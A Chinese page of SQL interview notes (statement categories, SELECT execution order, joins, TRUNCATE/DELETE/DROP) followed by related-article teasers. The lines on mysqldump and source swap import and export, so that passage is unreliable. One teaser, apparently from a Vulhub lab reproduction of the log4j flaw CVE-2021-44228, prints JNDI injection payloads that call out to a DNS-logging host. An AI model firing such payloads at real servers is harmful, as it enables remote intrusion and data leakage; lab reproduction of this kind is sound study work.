数据库面试常问

  1. 数据定义语言(DDL)

    • CREATE TABLE:用于创建数据库表格。例如:CREATE TABLE students (id INT, name VARCHAR(50), age INT);
    • DROP TABLE:用于删除数据库表格。例如:DROP TABLE students;
    • CREATE INDEX:用于在表格上创建索引。例如:CREATE INDEX idx_name ON students (name);
    • ALTER TABLE:用于修改数据库表格结构。例如:ALTER TABLE students ADD COLUMN email VARCHAR(100);
  2. 数据操作语言(DML)

    • INSERT:用于向表格中插入数据。例如:INSERT INTO students (id, name, age) VALUES (1, 'Alice', 25);
    • UPDATE:用于修改表格中的数据。例如:UPDATE students SET age = 26 WHERE name = 'Alice';
    • DELETE:用于从表格中删除数据。例如:DELETE FROM students WHERE name = 'Alice';
  3. 数据查询语言(DQL)

    • SELECT:用于从数据库中检索数据。例如:SELECT * FROM students WHERE age > 20;
    • WHERE:用于指定条件来过滤结果。例如:SELECT * FROM students WHERE age > 20;
    • ORDER BY:用于对结果进行排序。例如:SELECT * FROM students ORDER BY age DESC;
    • GROUP BY:用于对结果进行分组。例如:SELECT age, COUNT(*) FROM students GROUP BY age;
    • HAVING:用于在GROUP BY子句中设置过滤条件。例如:SELECT age, COUNT(*) FROM students GROUP BY age HAVING COUNT(*) > 1;
  4. 数据控制语言(DCL)

    • GRANT:用于授予用户特定权限。例如:GRANT SELECT ON students TO user1;
    • REVOKE:用于取消用户的特定权限。例如:REVOKE SELECT ON students FROM user1;
  5. 事务处理语言(TCL)

    • BEGIN TRANSACTION:用于开始一个事务。
    • COMMIT:用于提交事务并使更改永久生效。
    • ROLLBACK:用于撤销尚未提交的更改,并且回滚到事务开始前的状态。
  6. 其他常用操作

    • 导入(mysqldump):将外部文件中的数据导入到数据库中。例如:mysqldump -u username -p database_name < file.sql
    • 导出(source):从数据库中导出数据到外部文件。例如:source /path/to/file.sql
    • 查看表结构(DESC):查看数据库表的结构和元数据信息。例如:DESC students;

总结一下SQL SELECT语句的执行顺序:

  1. FROM:这是SQL查询的起点,它决定数据源。可能是一个或多个表,并且可以包含JOIN操作。此时,SQL引擎开始处理数据源并创建初始数据集。

  2. WHERE:在初始数据集的基础上,根据指定条件进行行的筛选。只有满足WHERE子句条件的行才会被保留。

  3. GROUP BY:在筛选后的数据集上,对数据进行分组。此时可以将多条记录组合成一个组,便于后续的聚合计算。

  4. 聚合函数:在GROUP BY生成的组上执行聚合操作,如SUM、AVG、COUNT等。

  5. HAVING:使用聚合结果对分组进行筛选。只有满足HAVING条件的组才会被保留在结果集中。

  6. SELECT:选择要在结果集中显示的字段。在这一阶段,所有表达式和别名都会被计算。

  7. ORDER BY:对结果集进行排序。可以按一个或多个字段进行升序或降序排序。

  8. LIMIT/OFFSET:这通常是最后一步,用于限制结果集的行数或跳过某些行。

跨表连接是在多个表之间建立关联以检索相关数据的过程。在SQL中,有几种类型的跨表连接,包括内连接、外连接和交叉连接。

  1. 内连接(INNER JOIN)

    • 内连接通过匹配两个表之间的关联列来检索数据,并返回两个表中满足连接条件的行。只有在连接条件成立时,才会将行从两个表中检索出来。
  2. 外连接(OUTER JOIN)

    • 外连接允许检索某个表中没有匹配的行。常见的外连接类型包括左外连接(LEFT JOIN)和右外连接(RIGHT JOIN)。
    • 左外连接返回左表中的所有行,以及与右表中匹配的行(如果没有匹配的行,则显示NULL值)。
    • 右外连接则返回右表中的所有行,以及与左表中匹配的行(同样,如果没有匹配的行,则显示NULL值)。
  3. 交叉连接(CROSS JOIN)

    • 交叉连接返回两个表的笛卡尔积,即将一个表的每一行与另一个表的每一行进行组合。结果集的行数等于两个表行数的乘积。

truncate/delete/drop区别?

  1. DELETE (DML - Data Manipulation Language):

    • DELETE 用于从表中删除一个或多个记录,并且可以有条件地选择哪些记录需要删除(使用 WHERE 子句)。
    • 它是一个 DML 操作,因此其操作是可以回滚的,即在事务中使用 DELETE 后可以通过 ROLLBACK 命令撤销更改。
    • DELETE 操作会记录日志(每行数据的删除都会记录),因此相比 TRUNCATE,其执行效率较低。
    • 删除后,空间并不会立即返回给操作系统,而是依然被数据库保留,可用于将来该表中的新数据。
  2. TRUNCATE (DDL - Data Definition Language):

    • TRUNCATE 用于快速清空一个表的所有行,效果等同于删除表中的所有数据,但速度更快。
    • 它是一个 DDL 操作,通常情况下这种操作不会记录详细的日志(只记录对对象的改变),并且不支持回滚(在某些数据库系统如 MySQL 中,TRUNCATE 操作在隐式提交事务后不能回滚,而在 SQL Server 和 Oracle 中可以通过事务回滚)。
    • TRUNCATE 通常会重置表的身份计数(如果表有自动增长的主键或身份列的话)。
    • 此操作会释放表占用的空间回到操作系统(在某些数据库中行为可能略有不同)。
  3. DROP (DDL - Data Definition Language):

    • DROP 用于完全删除表结构及其数据,这意味着一旦执行了 DROP TABLE 命令,表的定义及其数据将完全消失。
    • 它也是一个 DDL 操作,删除后通常不能回滚(但在某些数据库管理系统中,如果 DROP 操作在事务中执行,可能可以回滚)。
    • 使用 DROP 后,与表相关的所有东西都会被删除,包括与该表相关的依赖项如索引、触发器等。

这些操作应根据具体需要和对数据安全的要求来选择使用。例如,如果需要删除特定的几行数据,应使用 DELETE。如果要快速清空表数据且不需要回滚,则可选用 TRUNCATE。如果需要删除整个表结构及其数据,则使用 DROP

select *和select全部字段的区别?

  1. 查询效率

    • SELECT * 在执行时需要额外的步骤来获取表的所有字段信息,因此可能比直接列出所有字段的 SELECT 语句稍慢一些。
    • 直接列出字段的 SELECT 语句可以避免系统在解析时额外的字段信息获取步骤,因此可能稍微高效一些。
  2. 查询结果

    • 在表结构不变的情况下,两者的查询结果是相同的。
    • 但如果表结构发生了变化,SELECT * 可以动态适应新的表结构,而直接列出字段的 SELECT 语句则需要手动修改以适应新的表结构。
  3. 应用场景

    • SELECT * 适用于开发环境或者需要频繁调整表结构的情况,因为它能够自动适应表结构的变化。
    • 直接列出字段的 SELECT 语句更适合生产环境,因为它能够确保查询语句的语义清晰,且效率稍高。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/831297.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

“Unite“ > MacOS下很不错的网站转应用App的工具

前言 前不久在浏览mac论坛&#xff0c;无意了解到一款非常好的工具&#xff0c;可以将网站转换为app&#xff0c;考虑到我们现在的主要应用都从本地客户端转成web形式使用&#xff0c;但基于本能的使用习惯&#xff0c;还是希望有个快捷的访问信息&#xff0c;这个应用非常适合…

数组删除元素

数组删除元素 1.利用新的数组 将原数组arr的元素&#xff0c;复制到新数组newArr中&#xff0c;复制过程中将要删除的元素&#xff0c;选择不复制 public class Test01{public static void main(String [] args){String [] arr {"zhangsan","lisi","…

C语言——操作符保姆级教学(含整形提升及算数转换)

操作符 一.操作符的分类二.原码、反码、补码三.移位操作符1.左移操作符&#xff1a;<<2.右移操作符&#xff1a;>> 四.位操作符1.按位与—— &2.按位或—— |3.按位异或—— ^4.按位取反—— ~ 五.逗号表达式六.条件操作符七.操作符的属性&#xff1a;优先级、…

408数据结构-树的基本概念与性质 自学知识点整理

树的定义 树是 n n n&#xff08; n ≥ 0 n≥0 n≥0&#xff09;个结点的有限集。当 n 0 n0 n0时&#xff0c;称为空树。 任意一棵非空树应具有以下特性&#xff1a; 有且仅有一个特定的被称为根的结点&#xff08;根结点&#xff09;。当 n &#xff1e; 1 n&#xff1e;1 …

PotatoPie 4.0 实验教程(32) —— FPGA实现摄像头图像浮雕效果

什么是浮雕效果&#xff1f; 浮雕效果是一种图像处理技术&#xff0c;用于将图像转换为看起来像浮雕一样的效果&#xff0c;给人一种凸起或凹陷的立体感觉&#xff0c;下面第二张图就是图像处理实现浮雕效果。 不过这个图是用Adobe公司的PS人工P图实现的&#xff0c;效果比较…

第一课 自动驾驶概述

1. contents 2. 什么是无人驾驶/自动驾驶 3 智慧出行大智慧 4. 无人驾驶的发展历程

Tracecat:开源 SOAR

Tracecat 是一个面向安全团队的开源自动化平台。 开发人员认为&#xff0c;每个人都应该可以使用安全自动化&#xff0c;特别是人手不足的中小型团队。 核心功能、用户界面和日常工作流程基于一流安全团队的现有最佳实践。 使用专门的人工智能模型来标记、总结和丰富警报。 …

Vagrant CentOS7 安装 Docker 及使用 Docker 安装 MySQL

1、安装 Docker 1.1、删除旧版本 sudo yum remove docker \docker-client \docker-client-latest \docker-common \docker-latest \docker-latest-logrotate \docker-logrotate \docker-engine 1.2、安装必要的依赖包 sudo yum install -y yum-utils 1.3、配置源地址&#xf…

Spark RDD的分区与依赖关系

Spark RDD的分区与依赖关系 RDD分区 RDD&#xff0c;Resiliennt Distributed Datasets&#xff0c;弹性式分布式数据集&#xff0c;是由若干个分区构成的&#xff0c;那么这每一个分区中的数据又是如何产生的呢&#xff1f;这就是RDD分区策略所要解决的问题&#xff0c;下面我…

<Linux> 权限

目录 权限人员相对于文件来说的分类更改权限文件的拥有者与所属组 权限 权限是操作系统用来限制对资源访问的机制&#xff0c;权限一般分为读、写、执行。系统中的每个文件都拥有特定的权限、所属用户及所属组&#xff0c;通过这样的机制来限制哪些用户、哪些组可以对特定文件…

VULHUB复现log4j反序列化漏洞-CVE-2021-44228

本地下载vulhub复现就完了&#xff0c;环境搭建不讲&#xff0c;网上其他文章很好。 访问该环境&#xff1a; POC 构造&#xff08;任选其一&#xff09;&#xff1a; ${jndi:ldap://${sys:java.version}.xxx.dnslog.cn} ${jndi:rmi://${sys:java.version}.xxx.dnslog.cn}我是…

Redis 实现分布式Session 登录相关细节

Redis 实现分布式Session 登录 借助 Redis 对 Session 信息进行统一的存储和管理&#xff0c;这样无论请求发送到哪台服务器&#xff0c;服务器都会去同一个 Redis 获取相关的 Session 信息&#xff0c;这样就解决了分布式系统下 Session 存储的问题。 【发送短信】校验手机号…

centos 中使用 kubekey 安装 k8s v1.22.12 支持 GPU 调用

环境准备&#xff1a; https://blog.csdn.net/m0_64519023/article/details/138184970 生成配置文件&#xff1a; 中间需要执行 ./kk create config --with-kubernetes v1.22.12 这个命令生成配置文件&#xff0c;保留生成的配置文件中 spec: hosts 下的 node1&#xff0c;将…

NLP自然语言处理和应用场景介绍

【A】NLP&#xff08;Natural Language Processing&#xff0c;自然语言处理&#xff09;是计算机科学与人工智能领域的一个分支&#xff0c;旨在让机器能够理解、解释、生成人类语言。它涵盖了语言文本的语法、语义、语用、语境等方面的处理。 NLP的具体应用场景包括但不限于…

双向链表专题

文章目录 目录1. 双向链表的结构2. 双向链表的实现3. 顺序表和双向链表的优缺点分析 目录 双向链表的结构双向链表的实现顺序表和双向链表的优缺点分析 1. 双向链表的结构 注意&#xff1a; 这⾥的“带头”跟前面我们说的“头节点”是两个概念&#xff0c;带头链表里的头节点…

C#描述-计算机视觉OpenCV(3):重映射

C#描述-计算机视觉OpenCV&#xff08;3&#xff09;&#xff1a;重映射 前言色彩波形图像重映射 前言 C#描述-计算机视觉OpenCV&#xff08;1&#xff09;&#xff1a;基础操作 C#描述-计算机视觉OpenCV&#xff08;2&#xff09;&#xff1a;图像处理 在前文中&#xff0c;描…

读取文件例题总结 python

主要是读取文件的操作&#xff0c;结合字典&#xff0c;列表&#xff0c;集合的综合例题 主要思路&#xff1a;先看文件结构 根据文件结构 划分 然后保存到列表中&#xff08;一般是二维列表&#xff09; 然后再保存到字典中进行一些列操作 1…学生成绩分析 #1.学生成绩分析…

pycharm批量注释或取消多行

1. 背景和介绍 在我们编写Python代码的过程中&#xff0c;注释是非常重要的。它可以帮助我们理解代码的逻辑、功能和用法&#xff0c;并且方便其他开发者阅读和维护代码。然而&#xff0c;在大型项目中&#xff0c;有时需要批量注释或取消注释多行代码&#xff0c;手动操作会非…

UI-Diffuser——使用生成性人工智能的UI原型设计

概述。 移动UI是影响参与度的一个重要因素&#xff0c;例如用户对应用的熟悉程度和使用的便利性。如果你有一个类似的应用程序&#xff0c;你可能会选择一个具有现代、好看的设计的应用程序&#xff0c;而不是一个旧的设计。然而&#xff0c;要从头开始研究什么样的UI最适合应…

Java中使用Redis实现分布式锁的三种方式

1. 导语 随着软件开发领域的不断演进,并发性已经成为一个至关重要的方面,特别是在资源跨多个进程共享的分布式系统中。 在Java中,管理并发性对于确保数据一致性和防止竞态条件至关重要。 Redis作为一个强大的内存数据存储,为在Java应用程序中实现分布式锁提供了一种高效的…